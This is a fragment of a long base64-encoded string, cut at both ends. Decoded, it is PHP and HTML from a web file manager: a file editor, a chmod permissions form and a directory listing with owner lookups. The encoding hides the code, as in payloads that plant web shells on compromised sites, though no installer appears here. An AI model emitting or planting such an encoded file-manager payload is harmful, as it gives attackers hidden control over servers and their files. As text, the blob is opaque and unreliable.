0bGluZS1zZWNvbmRhcnlcIiBpZD1cImpzLWFjZS1yZWRvXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnUmVkbycpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1yZXBlYXRcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdSZWRvJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPVwibm9uZVwiIGRhdGEtb3B0aW9uPVwid3JhcFwiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnlcIiBpZD1cImpzLWFjZS13b3JkV3JhcFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1dvcmQgV3JhcCcpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS10ZXh0LXdpZHRoXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnV29yZCBXcmFwJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGlkPVwianMtYWNlLW1vZGVcIiBkYXRhLXR5cGU9XCJtb2RlXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2VsZWN0IERvY3VtZW50IFR5cGUnKSA/PlwiIGNsYXNzPVwiYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1zdGFydC0wIGQtbm9uZSBkLW1kLWJsb2NrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24+LS0gPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBNb2RlJykgPz4gLS08XC9vcHRpb24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvc2VsZWN0PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgaWQ9XCJqcy1hY2UtdGhlbWVcIiBkYXRhLXR5cGU9XCJ0aGVtZVwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBUaGVtZScpID8+XCIgY2xhc3M9XCJidG4tb3V0bGluZS1zZWNvbmRhcnkgYm9yZGVyLXN0YXJ0LTAgZC1ub25lIGQtbGctYmxvY2tcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbj4tLSA8P3BocCBlY2hvIGxuZygnU2VsZWN0IFRoZW1lJykgPz4gLS08XC9vcHRpb24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvc2VsZWN0PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgaWQ9XCJqcy1hY2UtZm9udFNpemVcIiBkYXRhLXR5cGU9XCJmb250U2l6ZVwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBGb250IFNpemUnKSA/PlwiIGNsYXNzPVwiYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1zdGFydC0wIGQtbm9uZSBkLWxnLWJsb2NrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24+LS0gPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBGb250IFNpemUnKSA/PiAtLTxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gPz5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZWRpdC1maWxlLWFjdGlvbnMgY29sLXhzLTEyIGNvbC1zbS03IGNvbC1sZy02IHRleHQtZW5kIHB0LTFcIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnRuLWdyb3VwXCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiIDw/cGhwIGVjaG8gbG5nKCdCYWNrJykgPz5cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7dmlldz08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLXJlcGx5LWFsbFwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdCYWNrJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdCYWNrVXAnKSA/PlwiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1wcmltYXJ5XCIgaHJlZj1cImphdmFzY3JpcHQ6dm9pZCgwKTtcIiBvbmNsaWNrPVwiYmFja3VwKCc8P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PicsJzw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PicpXCI+PGkgY2xhc3M9XCJmYSBmYS1kYXRhYmFzZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdCYWNrVXAnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkaXNfdGV4dCkgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRpc05vcm1hbEVkaXRvcikgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiQWR2YW5jZWRcIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4mYW1wO2Vudj1hY2VcIj48aSBjbGFzcz1cImZhIGZhLXBlbmNpbC1zcXVhcmUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZEVkaXRvcicpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLXN1Y2Nlc3NcIiBuYW1lPVwiU2F2ZVwiIGRhdGEtdXJsPVwiPD9waHAgZWNobyBmbV9lbmMoJGZpbGVfdXJsKSA/PlwiIG9uY2xpY2s9XCJlZGl0X3NhdmUodGhpcywnbnJsJylcIj48aSBjbGFzcz1cImZhIGZhLWZsb3BweS1vXCI+PFwvaT4gU2F2ZVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gZWxzZSB7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCJQbGFpbiBFZGl0b3JcIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLXRleHQtaGVpZ2h0XCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ05vcm1hbEVkaXRvcicpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLXN1Y2Nlc3NcIiBuYW1lPVwiU2F2ZVwiIGRhdGEtdXJsPVwiPD9waHAgZWNobyBmbV9lbmMoJGZpbGVfdXJsKSA/PlwiIG9uY2xpY2s9XCJlZGl0X3NhdmUodGhpcywnYWNlJylcIj48aSBjbGFzcz1cImZhIGZhLWZsb3BweS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NhdmUnKSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gPz5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgICAgICA8P3BocFxuICAgICAgICBpZiAoJGlzX3RleHQgJiYgJGlzTm9ybWFsRWRpdG9yKSB7XG4gICAgICAgICAgICBlY2hvICc8dGV4dGFyZWEgY2xhc3M9XCJtdC0yXCIgaWQ9XCJub3JtYWwtZWRpdG9yXCIgcm93cz1cIjMzXCIgY29scz1cIjEyMFwiIHN0eWxlPVwid2lkdGg6IDk5LjUlO1wiPicgLiBodG1sc3BlY2lhbGNoYXJzKCRjb250ZW50KSAuICc8XC90ZXh0YXJlYT4nO1xuICAgICAgICAgICAgZWNobyAnPHNjcmlwdD5kb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKFwia2V5ZG93blwiLCBmdW5jdGlvbihlKSB7aWYgKCh3aW5kb3cubmF2aWdhdG9yLnBsYXRmb3JtLm1hdGNoKFwiTWFjXCIpID8gZS5tZXRhS2V5IDogZS5jdHJsS2V5KSAgJiYgZS5rZXlDb2RlID09IDgzKSB7IGUucHJldmVudERlZmF1bHQoKTtlZGl0X3NhdmUodGhpcyxcIm5ybFwiKTt9fSwgZmFsc2UpOzxcL3NjcmlwdD4nO1xuICAgICAgICB9IGVsc2VpZiAoJGlzX3RleHQpIHtcbiAgICAgICAgICAgIGVjaG8gJzxkaXYgaWQ9XCJlZGl0b3JcIiBjb250ZW50ZWRpdGFibGU9XCJ0cnVlXCI+JyAuIGh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnQpIC4gJzxcL2Rpdj4nO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZJTEUgRVhURU5TSU9OIElTIE5PVCBTVVBQT1JURUQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICAgICAgPz5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydjaG1vZCddKSAmJiAhRk1fUkVBRE9OTFkgJiYgIUZNX0lTX1dJTikge1xuICAgICRmaWxlID0gJF9HRVRbJ2NobW9kJ107XG4gICAgJGZpbGUgPSBmbV9jbGVhbl9wYXRoKCRmaWxlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICghaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkgJiYgIWlzX2RpcigkcGF0aCAuICdcLycgLiAkZmlsZSkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG4gICAgJGZpbGVfdXJsID0gRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmaWxlO1xuICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICRtb2RlID0gZmlsZXBlcm1zKCRwYXRoIC4gJ1wvJyAuICRmaWxlKTtcbj8+XG4gICAgPGRpdiBjbGFzcz1cInBhdGhcIj5cbiAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQgbWItMlwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgPGg2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnQ2hhbmdlUGVybWlzc2lvbnMnKSA/PlxuICAgICAgICAgICAgPFwvaDY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1ib2R5XCI+XG4gICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJjYXJkLXRleHRcIj5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgJGRpc3BsYXlfcGF0aCA9IGZtX2dldF9kaXNwbGF5X3BhdGgoJGZpbGVfcGF0aCk7ID8+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsnbGFiZWwnXTsgPz46IDw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsncGF0aCddOyA/Pjxicj5cbiAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicFwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiY2htb2RcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gZm1fZW5jKCRmaWxlKSA/PlwiPlxuXG4gICAgICAgICAgICAgICAgICAgIDx0YWJsZSBjbGFzcz1cInRhYmxlIGNvbXBhY3QtdGFibGVcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxiPjw/cGhwIGVjaG8gbG5nKCdPd25lcicpID8+PFwvYj48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGI+PD9waHAgZWNobyBsbmcoJ0dyb3VwJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Yj48P3BocCBlY2hvIGxuZygnT3RoZXInKSA/PjxcL2I+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOiByaWdodFwiPjxiPjw/cGhwIGVjaG8gbG5nKCdSZWFkJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJ1clwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDA0MDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJnclwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwNDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJvclwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMDQpID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dHI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPVwidGV4dC1hbGlnbjogcmlnaHRcIj48Yj48P3BocCBlY2hvIGxuZygnV3JpdGUnKSA/PjxcL2I+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInV3XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDIwMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImd3XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDAyMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cIm93XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDAwMikgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOiByaWdodFwiPjxiPjw/cGhwIGVjaG8gbG5nKCdFeGVjdXRlJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJ1eFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAxMDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJneFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMTApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJveFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMDEpID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RhYmxlPlxuXG4gICAgICAgICAgICAgICAgICAgIDxwPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGI+PGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+XCIgY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT48XC9iPiZuYnNwO1xuICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3NcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDaGFuZ2UnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvcD5cbiAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvZGl2PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmZtX3Nob3dfaGVhZGVyKCk7XG5mbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG5mbV9zaG93X21lc3NhZ2UoKTtcblxuJG51bV9maWxlcyA9IGNvdW50KCRmaWxlcyk7XG4kbnVtX2ZvbGRlcnMgPSBjb3VudCgkZm9sZGVycyk7XG4kYWxsX2ZpbGVzX3NpemUgPSAwO1xuPz5cbjxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIiBjbGFzcz1cInB0LTNcIj5cbiAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImdyb3VwXCIgdmFsdWU9XCIxXCI+XG4gICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgIDxkaXYgY2xhc3M9XCJ0YWJsZS1yZXNwb25zaXZlXCI+XG4gICAgICAgIDx0YWJsZSBjbGFzcz1cInRhYmxlIHRhYmxlLWJvcmRlcmVkIHRhYmxlLWhvdmVyIHRhYmxlLXNtXCIgaWQ9XCJtYWluLXRhYmxlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8dGhlYWQgY2xhc3M9XCJ0aGVhZC13aGl0ZVwiPlxuICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGggc3R5bGU9XCJ3aWR0aDozJVwiIGNsYXNzPVwiY3VzdG9tLWNoZWNrYm94LWhlYWRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIiBpZD1cImpzLXNlbGVjdC1hbGwtaXRlbXNcIiBvbmNsaWNrPVwiY2hlY2tib3hfdG9nZ2xlKClcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtbGFiZWxcIiBmb3I9XCJqcy1zZWxlY3QtYWxsLWl0ZW1zXCI+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdGg+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnTmFtZScpID8+PFwvdGg+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnU2l6ZScpID8+PFwvdGg+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnTW9kaWZpZWQnKSA/PjxcL3RoPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scyk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ1Blcm1zJykgPz48XC90aD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnT3duZXInKSA/PjxcL3RoPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ0FjdGlvbnMnKSA/PjxcL3RoPlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPFwvdGhlYWQ+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgaWYgKCRwYXJlbnQgIT09IGZhbHNlKSB7XG4gICAgICAgICAgICA/PlxuICAgICAgICAgICAgICAgIDx0cj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cIm5vc29ydFwiPjxcL3RkPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiIGRhdGEtc29ydD48YSBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoJHBhcmVudCkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnQgZ28tYmFja1wiPjxcL2k+IC4uPFwvYT48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiYm9yZGVyLTBcIiBkYXRhLW9yZGVyPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiIGRhdGEtb3JkZXI+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cImJvcmRlci0wXCI+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSB7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiYm9yZGVyLTBcIj48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgICRpaSA9IDMzOTk7XG4gICAgICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRpc19saW5rID0gaXNfbGluaygkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGltZyA9ICRpc19saW5rID8gJ2ljb24tbGlua19mb2xkZXInIDogJ2ZhIGZhLWZvbGRlci1vJztcbiAgICAgICAgICAgICAgICAkbW9kaWZfcmF3ID0gZmlsZW10aW1lKCRwYXRoIC4gJ1wvJyAuICRmKTtcbiAgICAgICAgICAgICAgICAkbW9kaWYgPSBkYXRlKEZNX0RBVEVUSU1FX0ZPUk1BVCwgJG1vZGlmX3Jhdyk7XG4gICAgICAgICAgICAgICAgJGRhdGVfc29ydGluZyA9IHN0cnRvdGltZShkYXRlKFwiRiBkIFkgSDppOnMuXCIsICRtb2RpZl9yYXcpKTtcbiAgICAgICAgICAgICAgICAkZmlsZXNpemVfcmF3ID0gXCJcIjtcbiAgICAgICAgICAgICAgICAkZmlsZXNpemUgPSBsbmcoJ0ZvbGRlcicpO1xuICAgICAgICAgICAgICAgICRwZXJtcyA9IHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRwYXRoIC4gJ1wvJyAuICRmKSksIC00KTtcbiAgICAgICAgICAgICAgICAkb3duZXIgPSBhcnJheSgnbmFtZScgPT4gJz8nKTsgXG4gICAgICAgICAgICAgICAgJGdyb3VwID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7XG4gICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpIHtcbiAgICAgICAgICAgICAgICAgICAgdHJ5IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRvd25lcl9pZCA9IGZpbGVvd25lcigkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoJG93bmVyX2lkICE9IDApIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3duZXJfaW5mbyA9IHBvc2l4X2dldHB3dWlkKCRvd25lcl9pZCk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRvd25lcl9pbmZvKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvd25lciA9ICAkb3duZXJfaW5mbztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAkZ3JvdXBfaWQgPSBmaWxlZ3JvdXAo